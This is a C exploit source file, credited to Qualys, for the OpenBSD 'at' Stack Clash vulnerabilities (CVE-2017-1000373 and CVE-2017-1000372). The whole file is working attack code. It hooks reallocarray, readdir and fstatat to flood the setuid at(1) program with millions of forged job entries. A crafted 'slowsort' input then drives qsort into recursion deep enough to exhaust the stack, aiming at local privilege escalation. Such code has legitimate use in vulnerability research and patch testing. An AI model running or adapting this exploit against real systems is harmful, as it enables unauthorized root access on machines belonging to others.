OpenBSD - 'at Stack Clash' Local Privilege Escalation

/*
 * OpenBSD_at.c for CVE-2017-1000373
 * Copyright (c) 2017  Qualys, Inc.
 * slowsort() adapted from lib/libc/stdlib/qsort.c:
 *
 * Copyright (c) 1992, 1993
 *      The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

/*
 *  OpenBSD_at.c for CVE-2017-1000372
 *  Copyright (C) 2017  Qualys, Inc.
 *  ttime() adapted from usr.bin/at/at.c:
 *
 *  at.c : Put file into atrun queue
 *  Copyright (C) 1993, 1994  Thomas Koenig
 *
 *  Atrun & Atq modifications
 *  Copyright (C) 1993  David Parsons
 *
 *  Traditional BSD behavior and other significant modifications
 *  Copyright (C) 2002-2003  Todd C. Miller
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. The name of the author(s) may not be used to endorse or promote
 *    products derived from this software without specific prior written
 *    permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#include <ctype.h>
#include <dirent.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

static const char *
u64tostr(uint64_t u64)
{
    static char str[64];
    char * cp = str + sizeof(str);
    *--cp = '\0';
    do {
        if (cp <= str) _exit(__LINE__);
        *--cp = '0' + (u64 % 10);
    } while (u64 /= 10);
    return cp;
}

#define die() do { \
    const char * const str = u64tostr(__LINE__); \
    const size_t len = strlen(str); \
    write(STDERR_FILENO, "\n[", 2); \
    write(STDERR_FILENO, str, len); \
    write(STDERR_FILENO, "]\n", 2); \
    _exit(EXIT_FAILURE); \
} while (0)

static __inline char    *med3(char *, char *, char *, int (*)(const void *, const void *));
static __inline void     swapfunc(char *, char *, size_t, int);

/*
 * Qsort routine from Bentley & McIlroy's "Engineering a Sort Function".
 */
#define swapcode(TYPE, parmi, parmj, n) {               \
        size_t i = (n) / sizeof (TYPE);                 \
        TYPE *pi = (TYPE *) (parmi);                    \
        TYPE *pj = (TYPE *) (parmj);                    \
        do {                                            \
                TYPE    t = *pi;                        \
                *pi++ = *pj;                            \
                *pj++ = t;                              \
        } while (--i > 0);                              \
}

#define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \
        es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1;

static __inline void
swapfunc(char *a, char *b, size_t n, int swaptype)
{
        if (swaptype <= 1)
                swapcode(long, a, b, n)
        else
                swapcode(char, a, b, n)
}

#define swap(a, b)                                      \
        if (swaptype == 0) {                            \
                long t = *(long *)(a);                  \
                *(long *)(a) = *(long *)(b);            \
                *(long *)(b) = t;                       \
        } else                                          \
                swapfunc(a, b, es, swaptype)

#define vecswap(a, b, n)        if ((n) > 0) swapfunc(a, b, n, swaptype)

static __inline char *
med3(char *a, char *b, char *c, int (*cmp)(const void *, const void *))
{
        return cmp(a, b) < 0 ?
               (cmp(b, c) < 0 ? b : (cmp(a, c) < 0 ? c : a ))
              :(cmp(b, c) > 0 ? b : (cmp(a, c) < 0 ? a : c ));
}

typedef struct {
        size_t idx;
        size_t key;
} slowsort_t;

static __inline void
set_key(void * const _pss, const size_t key)
{
        slowsort_t * const pss = _pss;
        if (!pss) die();
        if (!key) die();
        if (pss->key) die();
        pss->key = key;
}

#define RESET_KEY SIZE_MAX

static void
slowsort(void *aa, size_t n, size_t es, int (*cmp)(const void *, const void *), const size_t stack_size)
{
        if (!aa) die();
        if (n <= 0) die();
        if (n >= SSIZE_MAX) die();
        if (es <= 0) die();
        if (es >= SSIZE_MAX) die();
        if (!cmp) die();

        #define SET_KEYS 4
        #define STACK_FRAME_SIZE 176
        const size_t pathological = stack_size / STACK_FRAME_SIZE * SET_KEYS;
        if (n < pathological) die();
        size_t innocuous = n - pathological;

        char *pa, *pb, *pc, *pd, *pl, *pm, *pn;
        int cmp_result, swaptype;
        size_t d, r;
        char *a = aa;

loop:   SWAPINIT(a, es);
        if (innocuous) {
            if (n <= innocuous) die();
            if (n - innocuous <= SET_KEYS) die();
            if (n <= 40) die();
        }
        if (n < 7) {
                for (pm = a; pm < a + n * es; pm += es) {
                        set_key(pm, 1 + (pm - a) / es);
                }
                for (pm = (char *)a + es; pm < (char *) a + n * es; pm += es)
                        for (pl = pm; pl > (char *) a && cmp(pl - es, pl) > 0;
                             pl -= es)
                                swap(pl, pl - es);
                return;
        }
        pm = (char *)a + (n / 2) * es;
        size_t set_keys = 0;
        if (n > 7) {
                pl = (char *)a;
                pn = (char *)a + (n - 1) * es;
                if (n > 40) {
                        d = (n / 8) * es;
                        if (innocuous) {
                            set_key(pl, RESET_KEY);
                            set_key(pl + d, RESET_KEY);
                            set_key(pl + 2 * d, RESET_KEY);
                        }
                        pl = med3(pl, pl + d, pl + 2 * d, cmp);
                        if (innocuous) set_key(pm - d, RESET_KEY);
                        set_key(pm + 0, n - innocuous - 3);
                        set_key(pm + d, n - innocuous - 2);
                        pm = med3(pm - d, pm, pm + d, cmp);
                        if (innocuous) set_key(pn - 2 * d, RESET_KEY);
                        set_key(pn - d, n - innocuous - 1);
                        set_key(pn - 0, n - innocuous - 0);
                        pn = med3(pn - 2 * d, pn - d, pn, cmp);
                        set_keys = SET_KEYS;
                } else {
                        set_key(pm, n - 1);
                        set_key(pn, n - 0);
                        set_keys = 2;
                }
                pm = med3(pl, pm, pn, cmp);
        } else {
                set_key(pm, n - 0);
                set_keys = 1;
        }
        if (!set_keys) die();
        swap(a, pm);
        if (innocuous) {
            if (a != aa) die();
            slowsort_t * pss = aa;
          {
            const size_t key = pss->key;
            if (!key) die();
            if (n <= 40) die();
            if (set_keys != SET_KEYS) die();
            if (key != n - innocuous - set_keys + 1) die();
          }
            const slowsort_t * const end = pss + n;
            size_t i = 0;
            for (;; pss++) {
                if (pss >= end) {
                    if (i != innocuous) die();
                    break;
                }
                if (!pss->key) {
                    if (i < innocuous) {
                        set_key(pss, n - i++);
                        set_keys++;
                    }
                } else if (pss->key == RESET_KEY) {
                    pss->key = 0;
                } else {
                    if (pss->key > n - innocuous) die();
                }
            }
        }
        pa = pb = (char *)a + es;
        pc = pd = (char *)a + (n - 1) * es;
        for (;;) {
                while (pb <= pc && (cmp_result = cmp(pb, a)) <= 0) {
                        if (cmp_result == 0) {
                                swap(pa, pb);
                                pa += es;
                        }
                        pb += es;
                }
                while (pb <= pc && (cmp_result = cmp(pc, a)) >= 0) {
                        if (cmp_result == 0) {
                                swap(pc, pd);
                                pd -= es;
                        }
                        pc -= es;
                }
                if (pb > pc)
                        break;
                swap(pb, pc);
                pb += es;
                pc -= es;
        }

        pn = (char *)a + n * es;
        r = MIN(pa - (char *)a, pb - pa);
        vecswap(a, pb - r, r);
        r = MIN(pd - pc, pn - pd - (ssize_t)es);
        vecswap(pb, pn - r, r);

        if ((pb - pa) / es != n - set_keys) die();
        if ((pd - pc) / es != set_keys - 1) die();

        if ((r = pb - pa) > es) {
                n = r / es;
                innocuous = 0;
                goto loop;
        }
        die();
}

static int
cmp_key(const void * const a, const void * const b)
{
        const size_t __a_key = ((const slowsort_t *)a)->key;
        const size_t __b_key = ((const slowsort_t *)b)->key;
        const size_t a_key = __a_key != RESET_KEY ? __a_key : 0;
        const size_t b_key = __b_key != RESET_KEY ? __b_key : 0;
        if (a_key < b_key) return -1;
        if (a_key > b_key) return +1;
        return 0;
}

#define    ATOI2(s)    ((s) += 2, ((s)[-2] - '0') * 10 + ((s)[-1] - '0'))

/*
 * Adapted from date(1)
 */
static time_t
ttime(char *arg)
{
    time_t now, then;
    struct tm *lt;
    int yearset;
    char *dot, *p;

    if (time(&now) == (time_t)-1 || (lt = localtime(&now)) == NULL)
        die();

    /* Valid date format is [[CC]YY]MMDDhhmm[.SS] */
    for (p = arg, dot = NULL; *p != '\0'; p++) {
        if (*p == '.' && dot == NULL)
            dot = p;
        else if (!isdigit((unsigned char)*p))
            goto terr;
    }
    if (dot == NULL)
        lt->tm_sec = 0;
    else {
        *dot++ = '\0';
        if (strlen(dot) != 2)
            goto terr;
        lt->tm_sec = ATOI2(dot);
        if (lt->tm_sec > 61)    /* could be leap second */
            goto terr;
    }

    yearset = 0;
    switch(strlen(arg)) {
    case 12:            /* CCYYMMDDhhmm */
        lt->tm_year = ATOI2(arg) * 100;
        lt->tm_year -= 1900;    /* Convert to Unix time */
        yearset = 1;
        /* FALLTHROUGH */
    case 10:            /* YYMMDDhhmm */
        if (yearset) {
            yearset = ATOI2(arg);
            lt->tm_year += yearset;
        } else {
            yearset = ATOI2(arg);
            /* POSIX logic: [00,68]=>20xx, [69,99]=>19xx */
            lt->tm_year = yearset;
            if (yearset < 69)
                lt->tm_year += 100;
        }
        /* FALLTHROUGH */
    case 8:                /* MMDDhhmm */
        lt->tm_mon = ATOI2(arg);
        if (lt->tm_mon > 12 || lt->tm_mon == 0)
            goto terr;
        --lt->tm_mon;        /* Convert from 01-12 to 00-11 */
        lt->tm_mday = ATOI2(arg);
        if (lt->tm_mday > 31 || lt->tm_mday == 0)
            goto terr;
        lt->tm_hour = ATOI2(arg);
        if (lt->tm_hour > 23)
            goto terr;
        lt->tm_min = ATOI2(arg);
        if (lt->tm_min > 59)
            goto terr;
        break;
    default:
        goto terr;
    }

    lt->tm_isdst = -1;        /* mktime will deduce DST. */
    then = mktime(lt);
    if (then == (time_t)-1) {
    terr:
        die();
    }
    if (then < now)
        die();
    return (then);
}

static bool reading_jobs;

void *
reallocarray(void * const ptr, const size_t nmemb, const size_t size)
{
    static void * (* real_reallocarray)(void *ptr, size_t nmemb, size_t size);
    if (!real_reallocarray) {
        real_reallocarray = dlsym(RTLD_NEXT, "reallocarray");
        if (!real_reallocarray) die();
    }
    if (ptr == NULL && nmemb == 2 + 4 && size == sizeof(struct atjob *)) {
        if (reading_jobs) die();
        reading_jobs = true;
    }
    void * const new_ptr = real_reallocarray(ptr, nmemb, size);
    if (!new_ptr) die();
    return new_ptr;
}

#define NUMJOBS (40<<20)

static const size_t *
get_jobkeys(void)
{
    const size_t n = NUMJOBS;
    slowsort_t * const a = calloc(n, sizeof(slowsort_t));
    write(STDERR_FILENO, "initializing jobkeys\n", 21);
    if (!a) die();
    size_t i;
    for (i = 0; i < n; i++) {
        a[i].idx = i;
    }
    slowsort(a, n, sizeof(slowsort_t), cmp_key, 33<<20);
    size_t * const jobkeys = calloc(n, sizeof(*jobkeys));
    write(STDERR_FILENO, "finalizing jobkeys\n", 19);
    if (!jobkeys) die();
    for (i = 0; i < n; i++) {
        const size_t j = a[i].idx;
        const size_t k = a[i].key;
        if (j >= n) die();
        if (k <= 0) die();
        if (k > n) die();
        if (jobkeys[j]) die();
        jobkeys[j] = k;
    }
    free(a);
    return jobkeys;
}

static struct dirent dirent;

struct dirent *
readdir(DIR * const dirp)
{
    static struct dirent * (* real_readdir)(DIR *dirp);
    if (!real_readdir) {
        real_readdir = dlsym(RTLD_NEXT, "readdir");
        if (!real_readdir) die();
    }
    if (!reading_jobs) {
        return real_readdir(dirp);
    }
    static size_t numjobs;
    if (numjobs >= NUMJOBS) {
        write(STDERR_FILENO, "sorting jobs\n", 13);
        return NULL;
    }
    static char arg[32];
    char * cp = arg + sizeof(arg);
    *--cp = '\0';
  {
    static const struct {
        uint32_t min;
        uint32_t max;
    } units[] = {
        { 0, 59 }, /* Second */
        { 0, 59 }, /* Minute */
        { 0, 23 }, /* Hour */
        { 1, 28 }, /* Day */
        { 1, 12 }, /* Month */
        { 2038, 2099 } /* Year */
    };
    static const size_t * jobkeys;
    if (!jobkeys) {
        jobkeys = get_jobkeys();
        if (!jobkeys) die();
        write(STDERR_FILENO, "reading jobs\n", 13);
    }
    uint32_t timer = jobkeys[numjobs++];
    if (timer > NUMJOBS) die();
    if (timer <= 0) die();
    static size_t percent = 10;
    if (numjobs == NUMJOBS / 100 * percent) {
        const char * const str = u64tostr(percent);
        const size_t len = strlen(str);
        write(STDERR_FILENO, str, len);
        write(STDERR_FILENO, "%\n", 2);
        percent += 10;
    }
    size_t i;
    for (i = 0; i < sizeof(units)/sizeof(*units); i++) {
        const uint32_t min = units[i].min;
        const uint32_t max = units[i].max;
        const uint32_t div = max - min + 1;
        const uint32_t u32 = min + timer % div;
        timer /= div;
        if (u32 < min) die();
        if (u32 > max) die();
        const char * const str = u64tostr(u32);
        const size_t len = strlen(str);
        if (cp <= arg) die();
        if (cp - arg < (ssize_t)len) die();
        cp -= len;
        memcpy(cp, str, len);
        if (len < 2) {
            if (cp <= arg) die();
            *--cp = '0';
        }
        if (!i) {
            if (cp <= arg) die();
            *--cp = '.';
        }
    }
    if (timer) die();
  }
    if (strlen(cp) != 15) die();
    const uint64_t timer = ttime(cp);
    strlcpy(dirent.d_name, u64tostr(timer), sizeof(dirent.d_name));
    strlcat(dirent.d_name, ".x", sizeof(dirent.d_name));
    return &dirent;
}

int
fstatat(const int fd, const char * const path, struct stat * const sb, const int flag)
{
    static int (* real_fstatat)(int fd, const char *path, struct stat *sb, int flag);
    if (!real_fstatat) {
        real_fstatat = dlsym(RTLD_NEXT, "fstatat");
        if (!real_fstatat) die();
    }
    if (!reading_jobs || flag != AT_SYMLINK_NOFOLLOW || strcmp(path, dirent.d_name) != 0) {
        return real_fstatat(fd, path, sb, flag);
    }
    memset(sb, 0, sizeof(*sb));
    sb->st_mode = S_IFREG | S_IRUSR | S_IWUSR;
    static uid_t user_uid;
    if (!user_uid) {
        user_uid = getuid();
        if (!user_uid) die();
    }
    sb->st_uid = user_uid;
    return 0;
}